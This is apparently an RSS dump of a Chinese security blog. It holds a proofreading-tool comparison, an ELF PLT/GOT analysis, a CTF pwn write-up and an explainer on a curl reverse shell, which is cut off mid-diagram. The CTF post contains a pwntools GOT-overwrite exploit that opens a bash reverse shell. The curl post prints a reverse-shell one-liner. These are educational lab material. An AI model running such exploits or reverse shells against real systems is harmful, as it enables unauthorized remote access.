技术 – 若水斋 https://blog.werner.wiki Try harder Mon, 03 Apr 2023 12:25:50 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 技术 – 若水斋 https://blog.werner.wiki 32 32 汉语文稿校对工具评测 https://blog.werner.wiki/test-chinese-proofing-tools/ https://blog.werner.wiki/test-chinese-proofing-tools/#comments Sat, 01 Apr 2023 05:49:27 +0000 https://blog.werner.wiki/?p=2374 前言

写作令我快乐,校对使人痛苦。不仅无趣乏味,还要全神贯注。自然能够想到,软件替代人眼。网上搜索发现,这类软件不少。然而效果如何,需要进行评测。

评测方法

阅读百科词条,病句共有六种。总结不够周到,笔者再加几种。每种各选几例,汇总得到下文。复制粘贴下文,软件进行校对。只看是否检出,不管修改意见。反正我要过目,意见不是重点。

一、 语序不当

  • 我国棉花的生产,长期不能自给。
  • 在社会主义建设事业中,应该发挥广大知识分子充分的作用。
  • 如果趁现在不赶快检查一下代耕工作,眼前地就锄不好。
  • 不但他好好学习,而且还帮助其他同学。

二、 搭配不当

  • 参加长跑的同学们在公路上飞快地驰骋着。
  • 我们勾结在一起顺利完成了任务。
  • 他有一双聪明能干的手,什么都能造出来。

三、成分残缺或赘余

  • 关于电视剧《北京人在纽约》的评论已很多了。
  • 这些角色不同类型,距离相当大,如果没有善于塑造人物性格的技巧,那是演不好的。
  • 我们要尽一切力量使我们农业走上机械化、集体化。
  • 小王做任何工作都是非常认真得很。

四、结构混乱

  • 这办法又卫生,又方便,深受群众所喜爱。
  • 老工人的一席话深深地触动了小邱的心,久久不能平静下来。

五、含糊不清

  • 县里通知说,让赵乡长九月15日前去汇报。
  • 宋老大跟齐三久别重逢,谈得投机,他给他点上一支烟。

六、逻辑错误

  • 他是全部死难者中的幸免的一个。
  • 因为他偏科,所以他数理化的成绩一塌糊涂。
  • 爱迪生这个名字,对我们青年学生是不陌生的。

七、拼音输入法导致的错别字

  • 你是我的好盆友。
  • 本文前言部分的几乎话是笔者的一次尝试。
  • 设都知道这件事。

八、英文单词拼写错误

  • GitHob 是一个在线软件源代码托管服务平台。
  • 他是我的 leador。
  • chnod 命令可以修改文件权限。

评测结果

评测一些软件,结果下表可见。

软件 文字帮帮 火龙果 爱改写 秘塔写作猫 讯飞智校
版本 Web Web Web Web Web
语序不当 1/4 1/4 0/4 1/4 0/4
搭配不当 1/3 1/3 0/3 1/3 0/3
成分残缺或赘余 0/4 0/4 0/4 1/4 0/4
结构混乱 0/2 0/2 0/2 0/2 1/2
含糊不清 0/2 0/2 0/2 0/2 0/2
逻辑错误 0/3 0/3 0/3 0/3 0/3
拼音输入法导致的错别字 2/3 1/3 0/3 3/3 0/3
英文单词拼写错误 0/3 0/3 0/3 0/3 1/3
总计 4/24 3/24 0/24 6/24 2/24
误报 1 2 0 0 2
软件 钉钉文档 腾讯文档 Word Pages 文稿 ChatGPT
版本 Web Web 2019 12.1 3.5
语序不当 1/4 0/4 0/4 0/4 1/4
搭配不当 0/3 0/3 0/3 0/3 2/3
成分残缺或赘余 1/4 1/4 0/4 0/4 2/4
结构混乱 0/2 0/2 0/2 0/2 1/2
含糊不清 0/2 0/2 0/2 0/2 1/2
逻辑错误 0/3 0/3 0/3 0/3 1/3
拼音输入法导致的错别字 3/3 1/3 1/3 0/3 2/3
英文单词拼写错误 1/3 0/3 3/3 1/3 3/3
总计 6/24 2/24 4/24 1/24 13/24
误报 1 4 1 0 1

注:

  1. 很多软件为 Web 版,没有明确的版本号概念。评测时间可以为作为版本号。评测时间是 2023 年 4 月 1 日 11:00~13:00
  2. 腾讯文档需手动开启“智能纠错”插件
  3. 测试 ChatGPT 时问题统一为“这句话有语病吗?”

结论

效果不尽人意,还得我来校对。ChatGPT 最强,就是使用艰难。

后记

出于娱乐目的,笔者尝试了一种全新的语言风格。前言句长相等,还讲押韵。若是朗读出来,或许觉得朗朗上口。本想全篇都这样写,发现凑出押韵好难。之后只管长度,不管押韵了。(2023 年 4 月 2 日更新:写了一个押韵相关词检索工具,更多地方改成押韵了。)

前言部分写成一行一句,标出每句最后一个汉字的拼音,可以很清楚地看出押韵:

写作令我快乐(lè),
校对使人痛苦(kǔ)。
不仅无趣乏味(wèi),
还要全神贯注(zhù)。
自然能够想到(dào),
软件替代人眼(yǎn)。
网上搜索发现(xiàn),
这类软件不少(shǎo)。
然而效果如何(hé),
需要进行评测(cè)。

前四行构成交韵(如果认为 èèi 押韵),接下来四行构成抱韵,最后两行勉强可以算作随韵。

]]>
https://blog.werner.wiki/test-chinese-proofing-tools/feed/ 5
CTF Pwn 题目 Fridge todo list 解题记录 https://blog.werner.wiki/fridge-todo-list-write-up/ https://blog.werner.wiki/fridge-todo-list-write-up/#respond Sun, 12 Sep 2021 03:13:53 +0000 https://blog.werner.wiki/?p=2239 这是什么

Fridge todo list 是 Google CTF 2018 Quals Beginners Quest 中的一道 Pwn 题目。我最近在阅读 virusdefender 写的系列文章《二进制安全之栈溢出》,第 8 篇文章讲的是 GOT 和 PLT,其后的练习题便是这道题目。为了让学习更加有效,我决定完成这道练习题。

打开链接后我拿到了一个名为 todo 的可执行文件和它的源代码 todo.c。在完成题目之前,我决定不阅读 README.md 和 exploit.py。由于不能阅读说明文档,再加上没有参加过 CTF 比赛,我其实不知道这道题目想让我做什么。于是凭着自已的理解我定下了这样的目标——找到漏洞并成功利用。

前期检查

用 file 命令可以看到 todo 是一个 64 位动态链接的 ELF 文件。

$ file todo
todo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped

用 checksec 命令检查 todo 开启的安全防护

$ checksec todo
[*] '/home/werner/Playground/todo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

看到

  • Arch:小端存储的 64 位程序
  • RELRO(read only relocation):部分开启,说明我们可能有对 GOT 的写权限
  • Stack:canary 没有开启
  • NX(no execute):开启,数据段不可执行
  • PIE(position-independent-executable):开启,如果操作系统也开启了 ASLR,程序每次运行时基址都不同

熟悉程序

直接运行 todo,发现它是一个可以保存、显示和删除待办事项的程序。部分运行输出如下所示:

$ ./todo
███████╗███╗   ███╗ █████╗ ██████╗ ████████╗    ███████╗██████╗ ██╗██████╗  ██████╗ ███████╗    ██████╗  ██████╗  ██████╗  ██████╗        
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝    ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝    ╚════██╗██╔═████╗██╔═████╗██╔═████╗       
███████╗██╔████╔██║███████║██████╔╝   ██║       █████╗  ██████╔╝██║██║  ██║██║  ███╗█████╗       █████╔╝██║██╔██║██║██╔██║██║██╔██║       
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗   ██║       ██╔══╝  ██╔══██╗██║██║  ██║██║   ██║██╔══╝      ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║       
███████║██║ ╚═╝ ██║██║  ██║██║  ██║   ██║       ██║     ██║  ██║██║██████╔╝╚██████╔╝███████╗    ███████╗╚██████╔╝╚██████╔╝╚██████╔╝       
╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝  ╚═╝╚═╝╚═════╝  ╚═════╝ ╚══════╝    ╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝        

 █████╗ ██████╗ ██╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗██████╗     ████████╗ ██████╗ ██████╗  ██████╗     ██╗     ██╗███████╗████████╗
██╔══██╗██╔══██╗██║   ██║██╔══██╗████╗  ██║██╔════╝██╔════╝██╔══██╗    ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗    ██║     ██║██╔════╝╚══██╔══╝
███████║██║  ██║██║   ██║███████║██╔██╗ ██║██║     █████╗  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║███████╗   ██║   
██╔══██║██║  ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║     ██╔══╝  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║╚════██║   ██║   
██║  ██║██████╔╝ ╚████╔╝ ██║  ██║██║ ╚████║╚██████╗███████╗██████╔╝       ██║   ╚██████╔╝██████╔╝╚██████╔╝    ███████╗██║███████║   ██║   
╚═╝  ╚═╝╚═════╝   ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═════╝        ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝     ╚══════╝╚═╝╚══════╝   ╚═╝   
user: werner

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 3

In which slot would you like to store the new entry? 0
What's your TODO? study

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 2

Which entry would you like to read? 0
Your TODO: study

我输入了 %s%s%s%s%s%s%100$p 等各种 payload 做为待办事项尝试触发格式化字符串漏洞,均未成功。

发现漏洞

通过阅读源代码,获得了以下重要信息。

  1. 待办事项保存在大小固定的 char 数组全局变量 todos 中,相关代码是
#define TODO_COUNT 128
#define TODO_LENGTH 48

char todos[TODO_COUNT*TODO_LENGTH];
  1. 读或写哪一项待办事项是由用户输入的,相关边界检查是
int idx = read_int();
if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
}

可以看到只检查了用户输入的 idx 是否超过了允许的最大值 TODO_COUNT,却没有检查 int 类型的 idx 是否小于 0。查看 read_int 函数的实现

int read_int() {
  char buf[128];
  read_line(buf, sizeof(buf));
  return atoi(buf);
}

看到它先读了一个字符串,再用 atoi 函数把字符串转为整数。atoi 函数是支持负数的。

如果输入负数,程序就会读或写 todos[负数*48] 地址的数据。可见 todo 存在“任意”地址数据读写漏洞。但这个“任意”是打引号的,并不是真正的任意,存在以下几点限制:

  • 只能读写比全局变量 todos 地址更小的地址的数据
  • 可以读写的地址的起点间隔 48 字节
  • 会被 \x00 截断

利用思路

讲 GOT 和 PLT 的文章后面的练习题,漏洞利用自然与 GOT 和 PLT 相关。先来查看 GOT 和 todos 的地址的相对位置。运行 todo,然后用 gdb 附加调试

$ gdb attach <todo 的 pid>

输入 gdb 命令 info variables 查看变量,部分输出如下所示

Non-debugging symbols:
0x00005588450fe2e0  _IO_stdin_used
0x00005588450fe300  BANNER
0x00005588450ff400  MENU
0x00005588450ff4a0  OUT_OF_BOUNDS_MESSAGE
0x00005588450ff7b8  __GNU_EH_FRAME_HDR
0x00005588450ffb7c  __FRAME_END__
0x00005588452ffde8  __frame_dummy_init_array_entry
0x00005588452ffde8  __init_array_start
0x00005588452ffdf0  __do_global_dtors_aux_fini_array_entry
0x00005588452ffdf0  __init_array_end
0x00005588452ffdf8  _DYNAMIC
0x0000558845300000  _GLOBAL_OFFSET_TABLE_
0x0000558845300098  __data_start
0x0000558845300098  data_start
0x00005588453000a0  __dso_handle
0x00005588453000a8  __TMC_END__
0x00005588453000a8  __bss_start
0x00005588453000a8  _edata
0x00005588453000c0  stdout
0x00005588453000c0  stdout@@GLIBC_2.2.5
0x00005588453000d0  stdin
0x00005588453000d0  stdin@@GLIBC_2.2.5
0x00005588453000d8  completed
0x00005588453000e0  username
0x0000558845300120  todo_fd
0x0000558845300140  todos
0x0000558845301940  _end
0x00007f153bf3dc47  inmask
0x00007f153bf3dd20  slashdot

可以看到 GOT 的地址是 0x0000558845300000(_GLOBAL_OFFSET_TABLE_)比 todos 的地址 0x0000558845300140 小。它们之间差了 0x140 = 320,是 48 的 6.66 倍。虽然每次运行程序地址都可能不同,但它们之间的相对位置是固定的。相差不是整数倍,但 GOT 表项很多,每个表项 8 字节,我们总可以找到恰当的一项来读或写。其实就漏洞利用来说,我们也不会尝试读 GOT 的第 0 项。

直接查看 GOT 只能看到一些地址,并不能知道 GOT 的哪项对应什么函数。因此我们查看 PLT

$ objdump -d -j .plt todo | grep '@plt'
0000000000000900 <puts@plt>:
0000000000000910 <write@plt>:
0000000000000920 <strlen@plt>:
0000000000000930 <errx@plt>:
0000000000000940 <system@plt>:
0000000000000950 <printf@plt>:
0000000000000960 <setlinebuf@plt>:
0000000000000970 <strncat@plt>:
0000000000000980 <close@plt>:
0000000000000990 <read@plt>:
00000000000009a0 <fgets@plt>:
00000000000009b0 <err@plt>:
00000000000009c0 <fflush@plt>:
00000000000009d0 <open@plt>:
00000000000009e0 <atoi@plt>:
00000000000009f0 <__ctype_b_loc@plt>:

又知道 PLT 的第 m 项是 GOT 的第 m+2 项。GOT 第 x 项的地址是 0x0000558845300000 + 8*x,todos 的地址 0x0000558845300140 减去 0x0000558845300000 + 8*x 要是 48 的整数倍,即

0x0000558845300140 - (0x0000558845300000 + 8*x) = 48*n

亦即

320 - 8*x = 48*n

亦即

6*n + x = 40

穷举可得整数解有

  • n=1, x=34
  • n=2, x=28
  • n=3, x=22
  • n=4, x=16
  • n=5, x=10
  • n=6, x=4

又知道 PLT 的最大项数是 17,所以 GOT 的最大项数是 19(19=17+2),所以 n 只能取 4、5 或 6。对应的函数是

  • n=4, open
  • n=5, strncat
  • n=6, write

小端存储的 64 位地址的最后几个字节一般来说都是 0x00,读取数据时遇到 0x00 会截断,所以只能从 GOT 中读这三个函数的地址。写数据时情况有所不同,虽然有效的地址含有 0x00,我们最多只能写入一个有效地址,但却可以在有效地址前写入 8*y 个非 0x00 的填充数据,总共覆盖 y+1 个 GOT 表项,只是只有最后一个表项被覆盖为有效地址。

阅读源代码可知 write 函数在程序最后才调用,因此只能选则读 open 函数或 strncat 函数的地址。读到某个 glibc 函数的地址,就可以跟据相对位置算出其它函数——比如 system 函数的地址。在 gdb 中,用 print 命令查看函数地址

gdb-peda$ print open
$2 = {int (const char *, int, ...)} 0x7ffff7af1d10 <__libc_open64>
gdb-peda$ print system
$3 = {int (const char *)} 0x7ffff7a31550 <__libc_system>

下次运行时,若读到 open 函数地址是 open_addr,便可算出 system 函数地址是 0x7ffff7a31550 – 0x7ffff7af1d10 + open_addr。

假设已经知道了 system 函数的地址,该怎样利用呢?

我们可以把某个函数的 GOT 表项覆盖为 system 函数的地址,并设法使该函数在下次调用时的参数是我们想要执行的 sh 命令字符串地址。逐个检查后发现 atoi 函数是最合适的,因为

  • 它接受一个字符串地址做参数
  • 它的参数是用户可以控制的

atoi 函数是 PLT 的第 15 项,所以是 GOT 的第 17 项。n 取 4 时是第 16 项,再加上 8 字节的填充即可覆盖第 17 项。

攻击脚本

按上面的思路,用 pwnlib 可以写出如下的攻击脚本

from pwn import *
from pwnlib.tubes import process

todo = process.process('./todo')
todo.recv()
todo.recv()
todo.sendline('admin')
todo.recv()

todo.sendline('2')
todo.recv()
todo.sendline('-4')    #  n=4,读 open 函数的 GOT 表项
r = todo.recv()
open_addr = u64(r[11:17]+'\x00\x00')
print("open_addr is {}".format(hex(open_addr)))

system_addr = 0x7ffff7a31550 - 0x7ffff7af1d10 + open_addr    # 计算 system 函数的地址
print("system_addr is {}".format(hex(system_addr)))

todo.sendline('3')
todo.recv()
todo.sendline('-4')
todo.recv()
todo.sendline('A'*8 + p64(system_addr))    # 覆盖 atoi 函数的 GOT 表项为 system 函数地址
todo.recv()

# 输入要执行的 sh 命令,这里写的是一个反弹 shell 命令
todo.sendline('bash -c "bash -i >&/dev/tcp/127.0.0.1/10001 0>&1"')
todo.recv()

运行如上所示的攻击脚本,成攻获得反弹 shell。

]]>
https://blog.werner.wiki/fridge-todo-list-write-up/feed/ 0
ELF 文件 PLT 和 GOT 静态分析 https://blog.werner.wiki/elf-plt-got-static-analysis/ https://blog.werner.wiki/elf-plt-got-static-analysis/#respond Sun, 05 Sep 2021 03:53:36 +0000 https://blog.werner.wiki/?p=2231 摘要

本文将对一个特意构造的、十分简单的、64 位的 ELF 文件的 PLT(Procedure Linkage Table)和 GOT(Global Offset Table)进行静态分析。目的是

  • 验证所学的关于 PLT 和 GOT 的相关知识
  • 加深对所学知识的理解和记忆
  • 记录分析时用到的命令以备忘

背景知识

关于什么是 PLT 和 GOT,可阅读海枫发表于 2016 年 6~7 月的系列文章

准备 ELF 文件

准备一个简单的 ELF 文件,源码如下所示

/* test.c */
#include <stdio.h>

int main() {
    int integer;
    printf("Enter an integer: ");
    scanf("%d", &integer);  
    printf("Number = %d\n", integer);
    return 0;
}

这段代码中 printf 和 scranf 这两个函数需要在运行时确定函数地址,即需用到 PLT 和 GOT。

用如下命令编译

gcc test.c -z norelro -fno-stack-protector -o test

简单起见,使用 gcc 选项 -z norelro 关闭了 RELRO,-fno-stack-protector 关闭了 CANNARY。

查看编译出的可执行文件

$ file test
test: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=779ce5dad37fc44d6106c16adae2c7557d775101, not stripped

试运行

$ ./test
Enter an integer: 1
Number = 1

查看 ELF 所有段

使用 readelf 命令可例出一个 ELF 文件的所有段。选项 --section-headers(可简写为 -S)的含义是 Display the sections' header--wide(可简写为 -W)的含义是 Allow output width to exceed 80 characters

$ readelf --section-headers --wide test
There are 30 section headers, starting at offset 0x1490:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        0000000000000200 000200 00001c 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            000000000000021c 00021c 000020 00   A  0   0  4
  [ 3] .note.gnu.build-id NOTE            000000000000023c 00023c 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0000000000000260 000260 00001c 00   A  5   0  8
  [ 5] .dynsym           DYNSYM          0000000000000280 000280 0000c0 18   A  6   1  8
  [ 6] .dynstr           STRTAB          0000000000000340 000340 00009d 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          00000000000003de 0003de 000010 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         00000000000003f0 0003f0 000030 00   A  6   1  8
  [ 9] .rela.dyn         RELA            0000000000000420 000420 0000c0 18   A  5   0  8
  [10] .rela.plt         RELA            00000000000004e0 0004e0 000030 18  AI  5  23  8
  [11] .init             PROGBITS        0000000000000510 000510 000017 00  AX  0   0  4
  [12] .plt              PROGBITS        0000000000000530 000530 000030 10  AX  0   0 16
  [13] .plt.got          PROGBITS        0000000000000560 000560 000008 08  AX  0   0  8
  [14] .text             PROGBITS        0000000000000570 000570 0001d2 00  AX  0   0 16
  [15] .fini             PROGBITS        0000000000000744 000744 000009 00  AX  0   0  4
  [16] .rodata           PROGBITS        0000000000000750 000750 000027 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0000000000000778 000778 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        00000000000007b8 0007b8 000108 00   A  0   0  8
  [19] .init_array       INIT_ARRAY      00000000002008c0 0008c0 000008 08  WA  0   0  8
  [20] .fini_array       FINI_ARRAY      00000000002008c8 0008c8 000008 08  WA  0   0  8
  [21] .dynamic          DYNAMIC         00000000002008d0 0008d0 0001f0 10  WA  6   0  8
  [22] .got              PROGBITS        0000000000200ac0 000ac0 000028 08  WA  0   0  8
  [23] .got.plt          PROGBITS        0000000000200ae8 000ae8 000028 08  WA  0   0  8
  [24] .data             PROGBITS        0000000000200b10 000b10 000010 00  WA  0   0  8
  [25] .bss              NOBITS          0000000000200b20 000b20 000008 00  WA  0   0  1
  [26] .comment          PROGBITS        0000000000000000 000b20 000029 01  MS  0   0  1
  [27] .symtab           SYMTAB          0000000000000000 000b50 000618 18     28  44  8
  [28] .strtab           STRTAB          0000000000000000 001168 00021e 00      0   0  1
  [29] .shstrtab         STRTAB          0000000000000000 001386 000107 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

其中与 PLT 和 GOT 有关的段是 .plt 和 .got.plt。下面我们将查看并分析这两个段的内容。此外还注意到 .dynamic 段的地址是 0x00000000002008d0,后文有相关内容。

.plt 段

PLT 中的每一项都是一小段代码,所以使用 objdump 命令查看 .plt 段的内容时添加反汇编参数。选项 --disassemble(可简写为 -d)的含义是 Display assembler contents of executable sections--full-contents(可简写为 -s)的含义是 Display the full contents of all sections requested--section(可简写为 -j)的含义是 Display information only for section name

$ objdump --disassemble --full-contents --section=.plt test

test:     file format elf64-x86-64

Contents of section .plt:
 0530 ff35ba05 2000ff25 bc052000 0f1f4000  .5.. ..%.. ...@.
 0540 ff25ba05 20006800 000000e9 e0ffffff  .%.. .h.........
 0550 ff25b205 20006801 000000e9 d0ffffff  .%.. .h.........

Disassembly of section .plt:

0000000000000530 <.plt>:
 530:   ff 35 ba 05 20 00       pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:   ff 25 bc 05 20 00       jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:   0f 1f 40 00             nopl   0x0(%rax)

0000000000000540 <printf@plt>:
 540:   ff 25 ba 05 20 00       jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:   68 00 00 00 00          pushq  $0x0
 54b:   e9 e0 ff ff ff          jmpq   530 <.plt>

0000000000000550 <__isoc99_scanf@plt>:
 550:   ff 25 b2 05 20 00       jmpq   *0x2005b2(%rip)        # 200b08 <__isoc99_scanf@GLIBC_2.7>
 556:   68 01 00 00 00          pushq  $0x1
 55b:   e9 d0 ff ff ff          jmpq   530 <.plt>

可以看到共有 3 个 PLT 表项,第 0 个表项(.plt)是共公 plt 表项,第 1 个表项(printf@plt)是 printf 函数对应的 PLT 表项,第 2 个表项(__isoc99_scanf@plt)是 scanf 函数对应的 PLT 表项。

.got.plt 段

GOT 的每一项都是一个地址,因此不用进行反汇编。同样使用 objdump 命令查看。

$ objdump --full-contents --section=.got.plt test

test:     file format elf64-x86-64

Contents of section .got.plt:
 200ae8 d0082000 00000000 00000000 00000000  .. .............
 200af8 00000000 00000000 46050000 00000000  ........F.......
 200b08 56050000 00000000                    V.......

64 位系统中地址长度是 64 比特,也就是 8 字节。按 8 字节一项并调整字节序后可得 GOT 的内容是

第几项 地址 内容 备注
0 0x200ae8 0x00000000002008d0 .dynamic 段地址
1 0x200af0 0x0000000000000000 本镜像的link_map数据结构地址,未运行无法确定,故以全 0 填充
2 0x200af8 0x0000000000000000 _dl_runtime_resolve 函数地址,未运行无法确定,故以全 0 填充
3 0x200b00 0x0000000000000546 printf 对应的 GOT 表项,内容是 printf 的 PLT 表项地址加 6
4 0x200b08 0x0000000000000556 scanf 对应的 GOT 表项,内容是 scanf 的 PLT 表项地址加 6

分析

以 printf 函数为例,分析 PLT 和 GOT 的工作过程。

反汇编 main 函数(以下命令输出删除了无关内容)

$ objdump --disassemble --full-contents --section=.text test

000000000000067a <main>:
 67a:   55                      push   %rbp
 67b:   48 89 e5                mov    %rsp,%rbp
 67e:   48 83 ec 10             sub    $0x10,%rsp
 682:   48 8d 3d cb 00 00 00    lea    0xcb(%rip),%rdi        # 754 <_IO_stdin_used+0x4>
 689:   b8 00 00 00 00          mov    $0x0,%eax
 68e:   e8 ad fe ff ff          callq  540 <printf@plt>
 693:   48 8d 45 fc             lea    -0x4(%rbp),%rax
 697:   48 89 c6                mov    %rax,%rsi
 69a:   48 8d 3d c6 00 00 00    lea    0xc6(%rip),%rdi        # 767 <_IO_stdin_used+0x17>
 6a1:   b8 00 00 00 00          mov    $0x0,%eax
 6a6:   e8 a5 fe ff ff          callq  550 <__isoc99_scanf@plt>
 6ab:   8b 45 fc                mov    -0x4(%rbp),%eax
 6ae:   89 c6                   mov    %eax,%esi
 6b0:   48 8d 3d b3 00 00 00    lea    0xb3(%rip),%rdi        # 76a <_IO_stdin_used+0x1a>
 6b7:   b8 00 00 00 00          mov    $0x0,%eax
 6bc:   e8 7f fe ff ff          callq  540 <printf@plt>
 6c1:   b8 00 00 00 00          mov    $0x0,%eax
 6c6:   c9                      leaveq 
 6c7:   c3                      retq   
 6c8:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
 6cf:   00

看到 main 函数调用 printf 函数的指令是 callq 540,0x540 正是 printf 函数的 PLT 表项的地址。反汇编结果里的 <printf@plt> 也明确地指出了这一点。

0x540 地址开始的几条指令是

 540:    ff 25 ba 05 20 00        jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:    68 00 00 00 00           pushq  $0x0
 54b:    e9 e0 ff ff ff           jmpq   530 <.plt>

看到它跳转到了 0x2005ba(%rip) 指向的地址,0x2005ba(%rip) 的内容在反汇编结果的注释中给出了,是 0x200b00。0x200b00 正是 printf 函数的 GOT 表项的地址,其内容是 0x0000000000000546,这个地址实际上是 printf 的 PLT 表项地址加 6。可见 0x540 处的 jmpq 指令实际上跳到了 0x546 处,相当于没有跳转。0x546 处的 pushq 指令将 0x00 压栈,可以理解为接下来要调用的函数的参数。接着 0x54b 处的 jmpq 指令跳转到了 0x530 即 PLT 表的第 0 项。

0x530 地址开始的几条指令是

 530:    ff 35 ba 05 20 00        pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:    ff 25 bc 05 20 00        jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:    0f 1f 40 00              nopl   0x0(%rax)

先是把 0x200af0 即 GOT 表的第 1 项压栈,接着跳转到 0x200af8 即 GOT 表的第 2 项亦即 _dl_runtime_resolve 函数,解析 pritnf 函数真正的地址。之后会执行 pritnf,并将 pritnf 函数真正的地址写到 printf 对应的 GOT 表项中。这样下次调用 ptinf 函数时 0x540 处的 jmpq 指令会直接跳转到 pritnf 函数真正的地址,不用再调用 _dl_runtime_resolve。

]]>
https://blog.werner.wiki/elf-plt-got-static-analysis/feed/ 0
curl 反弹 shell 原理 https://blog.werner.wiki/curl-reverse-shell-principle/ https://blog.werner.wiki/curl-reverse-shell-principle/#respond Tue, 16 Feb 2021 02:19:48 +0000 https://blog.werner.wiki/?p=1842 &-;} 3>&1|: 的工作原理。]]> 在某社交网站上看到一句 curl 反弹 shell 命令:

{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:

这句命令就像魔法一样神奇,和常见的反弹 shell 命令大相径庭。我花了些时间才理解它是如何工作的。

本文将简要叙述它的工作原理,但不会涉及反弹 shell 的基础知识。如果读者缺乏这些基础知识,可参考《Linux反弹shell(一)文件描述符与重定向》和《Linux 反弹shell(二)反弹shell的本质》。

预备知识

冒号

命令的最后一个字符冒号是个鲜为人知的 Bash 内置命令,用 man bash 查看手册可以找到如下的说明:

: [参数]
    无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。

花括号

在 Bash 中,花括号有多种不同的用法,详情见《浅析 Bash 中的 {花括号}》。在我们尝试理解的魔法命令中用到了其中一种:可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。

例如执行如下命令:

{ echo 1 ; echo 2 ; } > out.txt

会发现屏幕没有任何输出,out.txt 的内容是:

1
2

可见两条 echo 命令的标准输出都被重定向到了文件 out.txt

需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。

另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:

{ echo 1 > inner.txt ; echo 2 ; } > outer.txt

会发现第一个 echo 命令的输出被重定向到了 inner.txt,而不是 outer.txt

/dev/fd/

/dev/fd/ 是指向 /proc/self/fd 的软链接。

$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd

/proc/self 是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self 指向 /proc/<该进程的 PID>

curl 参数

使用 man curl 可以查询到魔法命令中 curl 各个参数的含义,整理后列举如下:

  • -s, –silent:不显示进度或错误信息。但仍会传输指定数据或输出内容到 stdout
  • -N, –no-buffer:禁用输出流的缓冲功能。正常情况下,curl 会使用一个标准的缓冲输出流,它的作用是将数据分块输出,而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
  • -k, –insecure:忽略证书错误。
  • -T, –upload-file :上传指定本地文件到远程 URL。可用 - 做文件名以从 stdin 读取文件内容;也可用 . 做文件名,以非阻塞模式从 stdin 读取文件内容。非阻塞模式是指可从 stdin 读取文件内容的同时读取服务端输出。

语法分析

为理解魔法命令,我们先对其进行语法分析。

魔法命令被倒数第二个字符 | (管道)分为前后两部分,如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。

                                +-------+
                                |       |
                                |   |   |
                                |       |
                                +-+---+-+
                                  |   |
              +------------+      |   |       +-------+
              |            |      |   |       |       |
              | {...} 3>&1 +------+   +-------+   :   |
              |            |                  |       |
              +------+-----+                  +-------+
                     |
              +------+-----+
              |            |
